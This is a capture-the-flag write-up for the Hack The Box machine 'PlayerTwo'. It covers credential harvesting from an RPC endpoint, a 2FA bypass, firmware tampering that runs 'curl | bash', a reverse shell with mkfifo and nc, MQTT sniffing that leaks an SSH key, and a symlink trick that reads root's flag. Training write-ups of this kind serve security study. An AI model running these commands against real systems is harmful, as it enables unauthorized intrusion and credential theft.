HTB: PlayerTwo


This machine is Player Two from Hack The Box


Nmap segfaulted while scanning this, so I used masscan

kali@kali:~$ sudo masscan --router-ip -p0-65535,U:0-65535 -e tun0 --rate=1000
Starting masscan 1.0.5 ( at 2020-02-26 13:18:14 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Discovered open port 8545/tcp on

And then nmap on the found ports

kali@kali:~$ nmap -sVC -p22,80,8545
Starting Nmap 7.80 ( ) at 2020-02-26 13:24 GMT
Nmap scan report for
Host is up (0.022s latency).

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 0e:7b:11:2c:5e:61:04:6b:e8:1c:bb:47:b8:4d:fe:5a (RSA)
|   256 18:a0:87:56:64:06:17:56:4d:6a:8c:79:4b:61:56:90 (ECDSA)
|_  256 b6:4b:fc:e9:62:08:5a:60:e0:43:69:af:29:b3:27:14 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8545/tcp open  http    (PHP 7.2.24-0ubuntu0.18.04.1)
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Wed, 26 Feb 2020 13:26:00 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/nice%20ports%2C/Tri%6Eity.txt%2ebak"","meta":{"twirp_invalid_route":"GET /nice%20ports%2C/Tri%6Eity.txt%2ebak"}}
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Date: Wed, 26 Feb 2020 13:25:52 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"GET /"}}
|   HTTPOptions:
|     HTTP/1.1 404 Not Found
|     Date: Wed, 26 Feb 2020 13:25:52 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"OPTIONS /"}}
|   OfficeScan:
|     HTTP/1.1 404 Not Found
|     Date: Wed, 26 Feb 2020 13:26:01 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|_    {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"GET /"}}
|_http-title: Site doesn't have a title (application/json).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 20.52 seconds


I started at

Screenshot 1

This was actually an image, but it leaked

[email protected]

So I added the domain to hosts and went to http://player2.htb/

Screenshot 2

Screenshot 3

The link actually goes to


So I added that domain to hosts and went to http://product.player2.htb/index

Screenshot 4

I didn’t have any creds at this point, so I ran a dirbust against the product domain

Screenshot 5

Api looked interesting, but was 403ing. So for now I moved onto port 8545, which from the nmap scan looked to be running twirp

kali@kali:~$ curl http://player2.htb:8545/
{"code":"bad_route","msg":"no handler for path \"\/\"","meta":{"twirp_invalid_route":"GET \/"}}

I then ended up reading a fair amount of documentation at

One of which told me I should find the service definition in /proto/service.proto of the webserver so I tried http://player2.htb/proto/service.proto

Screenshot 7

This gave a 404, but I tried seeing if the proto folder itself existed http://player2.htb/proto/

Screenshot 8

The switch to 403 indicated it did, so I fuzzed the folder for the .proto file

kali@kali:~$ wfuzz --hc 404 -c -z file,/usr/share/wordlists/dirbuster/directory-list-1.0.txt http://player2.htb/proto/FUZZ.proto

* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://player2.htb/proto/FUZZ.proto
Total requests: 141708

ID           Response   Lines    Word     Chars       Payload

000029535:   200        18 L     46 W     266 Ch      "generated"

And went to http://player2.htb/proto/generated.proto

Screenshot 9

So I want to access the GenCreds endpoint

kali@kali:~$ curl -s -X POST -H "Content-Type: application/json" http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds | json_pp
   "code" : "internal",
   "meta" : [],
   "msg" : "failed to parse request json"

The endpoint is there, I just need to use it properly. From the definition, I need to send a variable called Number which contains an int "count" that is greater than 0

kali@kali:~$ curl -s -X POST -H "Content-Type:application/json" --data '{"Number":1}' http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds | json_pp
   "name" : "jkr",
   "pass" : "XHq7_WJTA?QD_?E2"

Some creds, I tried them on http://product.player2.htb/

Screenshot 10

So I tried the rpc again

curl -s -X POST -H "Content-Type:application/json" --data '{"Number":1}' http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds | json_pp
   "name" : "snowscan",
   "pass" : "XHq7_WJTA?QD_?E2"

New ones, so I tried repeatedly

kali:~$ curl -s -X POST -H "Content-Type:application/json" --data '{"Number":1}' http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds | json_pp
   "name" : "jkr",
   "pass" : "ze+EKe-SGF^5uZQX"

kali:~$ curl -s -X POST -H "Content-Type:application/json" --data '{"Number":1}' http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds | json_pp
   "name" : "mprox",
   "pass" : "tR@dQnwnZEk95*6#"

kali:~$ curl -s -X POST -H "Content-Type:application/json" --data '{"Number":1}' http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds | json_pp
   "name" : "mprox",
   "pass" : "XHq7_WJTA?QD_?E2"

It almost seemed to be giving me a username and password, but maybe not the correct pair. So I ran this repeatedly until I stopped getting new ones. Resulting in the following



So I began to try them in various combinations on the login page, and when I tried

jkr : Lp-+Q8umLW5*7qkc

Screenshot 11

I had been redirected to /topt and needed to bypass 2fa. The rpc service had no reference to this, so I began to look at the /api endpoint on http://product.player2.htb. After a bit of fuzzing and guesswork I found /api/topt

kali@kali:~$ curl http://product.player2.htb/api/totp
{"error":"Cannot GET \/"}

It seemed to not like GET requests

kali@kali:~$ curl -X POST http://product.player2.htb/api/totp
{"error":"Invalid Session"}

Tried adding my session cookie

kali@kali:~$ curl -X POST --cookie "PHPSESSID=6n0enci5glmq0jdpq2uqevo2ee" http://product.player2.htb/api/totp
{"error":"Invalid action"}

So I tried adding a parameter called action

kali@kali:~$ curl -X POST --cookie "PHPSESSID=6n0enci5glmq0jdpq2uqevo2ee" -H "Content-Type:application/json" --data '{"action":""}' 'http://product.player2.htb/api/totp'
{"error":"Missing parameters"}

This part took a while, but eventually I re-read the 2FA page and it stood out that you can enter "backup codes". So I tried an action for backup codes

kali@kali:~$ curl -X POST --cookie "PHPSESSID=6n0enci5glmq0jdpq2uqevo2ee" -H "Content-Type:application/json" --data '{"action":"backup_codes"}' 'http://product.player2.htb/api/totp'

Using the creds from before, and this backup code, I logged in

Screenshot 12

The access section had a link to a pdf

Screenshot 13

I followed the link to http://product.player2.htb/protobs.pdf

Screenshot 14

Screenshot 15

Screenshot 16

There is a tar file linked, and a link to a page where you can "sanity check". I downloaded the tar and viewed the sanity check page http://product.player2.htb/protobs/

Screenshot 17

This says they take the file and run it in a sandbox to verify it. Next I looked at the tar to see what it actually does

kali@kali:~$ file protobs_firmware_v1.0.tar
protobs_firmware_v1.0.tar: gzip compressed data, last modified: Sun Dec  1 07:30:27 2019, from Unix, original size modulo 2^32 30720

kali@kali:~$ tar xvf protobs_firmware_v1.0.tar

kali:~$ strings Protobs.bin
[!] Protobs: Signing failed...
[!] Protobs: Service shutting down...
[!] Protobs: Unexpected unrecoverable error!
[!] Protobs: Service exiting now...
stty raw -echo min 0 time 10
stty sane
[*] Protobs: User input detected. Launching Dev Console Utility
  ___         _       _
 | _ \_ _ ___| |_ ___| |__ ___
 |  _/ '_/ _ \  _/ _ \ '_ (_-<
 |_| |_| \___/\__\___/_.__/__/
                              v1.0 Beta
[*] Protobs: Firmware booting up.
[*] Protobs: Fetching configs...

Now, I tested modifying these strings in the raw .bin file and uploaded them, it turns out it still passes the signature check. Although I made sure to not change the length of any of them

stty raw -echo min 0 time 10

Is a shell command, so hopefully it gets run into something like system, it is 24 characters, as is

echo "y"|nc 4444

So I modified the string and re-created the tar file

kali@kali:~$ tar cvzf mine.tar Protobs.bin info.txt version

I then set a listener

kali@kali:~$ nc -nvlp 4444

I then uploaded the file

Screenshot 22

Screenshot 23

Screenshot 24

Screenshot 25

When I checked the listener

connect to [] from (UNKNOWN) [] 51670

So I had conenct back, but no space for a working reverse shell. So I instead hosted a file containining the following

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f

And modified the bin file to run

curl | bash

I repeated the upload process and checked my listener

connect to [] from (UNKNOWN) [] 51702
/bin/dash: 0: can't access tty; job control turned off

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ python -c "import pty;pty.spawn('/bin/bash')"

I now had a foodhold on the machine


Looking for next steps I found observer was the only user with a home directory

www-data@player2:/home/observer$ ls -la
ls -la
total 40
drwxr-xr-x 6 observer observer 4096 Nov 16 15:19 .
drwxr-xr-x 3 root     root     4096 Jul 27  2019 ..
lrwxrwxrwx 1 observer observer    9 Sep  5 03:52 .bash_history -> /dev/null
-rw-r--r-- 1 observer observer  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 observer observer 3771 Apr  4  2018 .bashrc
drwx------ 2 observer observer 4096 Nov 16 15:19 .cache
drwx------ 3 observer observer 4096 Nov 16 15:19 .gnupg
-rw-r--r-- 1 observer observer  807 Apr  4  2018 .profile
drwx------ 2 observer observer 4096 Sep  7 18:16 .ssh
drwxr-x--- 2 observer observer 4096 Dec 17 10:47 Development
-r-------- 1 observer observer   33 Sep  5 03:44 user.txt

And it had the user flag. So that became my target. I checked what ports the machine has open

www-data@player2:/$ netstat -plnt
netstat -plnt
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -

Something was listening on 1883 internally. Some googled revealed this could be MQTT. So I moved a static version of socat over to the machine, and used it to expose this port to my machine

www-data@player2:/tmp$ ./socat TCP-LISTEN:8888,fork,reuseaddr TCP: &

I then found a script online for dumping MQTT comms

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, rc):
   print "[+] Connection successful"
   client.subscribe('#', qos = 1)

def on_message(client, userdata, msg):
   print '[+] Topic: %s - Message: %s' % (msg.topic, msg.payload)

client = mqtt.Client(client_id = "MqttClient")
client.on_connect = on_connect
client.on_message = on_message
client.connect('', 8888, 60)

I ran this and after a while

[+] Topic: $SYS/internal/firmware/signing - Message: -----BEGIN RSA PRIVATE KEY-----

An ssh key showed up, I saved this and used it for observer

kali@kali:~# ssh [email protected] -i ./priv.key
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.2.5-050205-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Wed Feb 26 23:03:12 UTC 2020

  System load:  0.01               Processes:            188
  Usage of /:   26.1% of 19.56GB   Users logged in:      0
  Memory usage: 38%                IP address for ens33:
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

121 packages can be updated.
5 updates are security updates.

Last login: Sun Dec  1 15:33:19 2019 from

observer@player2:~$ cat user.txt


Note: For root I found what I believe was the intended path, but did not complete it as I found an unintentional method to leak the root flag. I do intend to return to this machine and complete the intended method in future and will update this writeup when I do

observer@player2:~/Development$ cd /opt/Configuration_Utility/
observer@player2:/opt/Configuration_Utility$ ls -la
total 2164
drwxr-x--- 2 root observer    4096 Nov 16 15:23 .
drwxr-xr-x 3 root root        4096 Dec 17 10:47 ..
-rwxr-xr-x 1 root root      179032 Nov 15 15:57
-rwxr-xr-x 1 root root     2000480 Nov 15 15:57
-rwsr-xr-x 1 root root       22440 Dec 17 13:41 Protobs

A suid binary as root, with it’s interpreter and libc available with it. I extracted copies of these and tested the binary after patching it to use the new libc location

kali@kali@~$ patchelf --set-rpath .:$ORIGIN ./Protobs
kali@kali@~$ patchelf Protobs --set-interpreter ./
kali@kali@~$ ldd Protobs (0x00007fff9abe0000) => ./ (0x00007f3f65566000)
        ./ => /lib64/ (0x00007f3f65753000)
kali@kali@~$ ./Protobs

[*] Protobs: Service booting up.
[*] Protobs: Fetching configs...

  ___         _       _
 | _ \_ _ ___| |_ ___| |__ ___
 |  _/ '_/ _ \  _/ _ \ '_ (_-<
 |_| |_| \___/\__\___/_.__/__/
                              v1.0 Beta

protobs@player2:~$ help

[!] Invalid option. Enter '0' for available options.

protobs@player2:~$ 0

 1 -> List Available Configurations
 2 -> Create New Configuration
 3 -> Read a Configuration
 4 -> Delete a Configuration
 5 -> Exit Service
protobs@player2:~$ 1

==List of Configurations

protobs@player2:~$ 2

==New Game Configuration
 [ Game                ]: test
 [ Contrast            ]: test
 [ Gamma               ]: test
 [ Resolution X-Axis   ]: test
 [ Resolution Y-Axis   ]: test
 [ Controller          ]: test
 [ Size of Description ]: 100
 [ Description         ]: test
protobs@player2:~$ 1

==List of Configurations
 [00] : test
protobs@player2:~$ 3

==Read Game Configuration
 >>> Run the list option to see available configurations.
 [ Config Index    ]: 0
  [ Game                ]: test
  [ Contrast            ]: 0
  [ Gamma               ]: 0
  [ Resolution X-Axis   ]: 0
  [ Resolution Y-Axis   ]: 0
  [ Controller          ]: 0
  [ Description         ]: test
protobs@player2:~$ 4

==Delete Game Configuration
 >>> Run the list option to see available configurations.
 [ Config Index    ]: 0

protobs@player2:~$ 1

So it lets you make, view and delete game configs. This app is a pretty classic style for a heap corruption challenge, but before I dug much more into it I found the unintended method to leak the flag. The ssh key being read by MQTT was observers, once I was logged in as observer I was able to modify the id_rsa file. But the process reading the file runs as root. As such I backed up the original id_rsa and replaced it with a symlink to /root/root.txt

observer@player2:~/.ssh$ ln -s /root/root.txt id_rsa

Then checked my MQTT dumping script

[+] Topic: $SYS/internal/firmware/signing - Message: [REDACTED]

The root flag showed up in the MQTT

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.